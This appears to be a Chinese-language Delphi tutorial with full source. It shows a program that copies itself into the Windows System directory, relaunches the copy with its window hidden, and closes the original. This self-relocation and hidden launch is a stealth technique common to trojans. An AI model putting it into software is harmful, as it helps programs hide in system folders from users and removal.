这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径.
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then Result := Result + '\';
end;


=================================

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
GetWinDir: String;
myname: string;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then Result := Result + '\';
end;
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件
application.Terminate;//退出
end;
end;
end.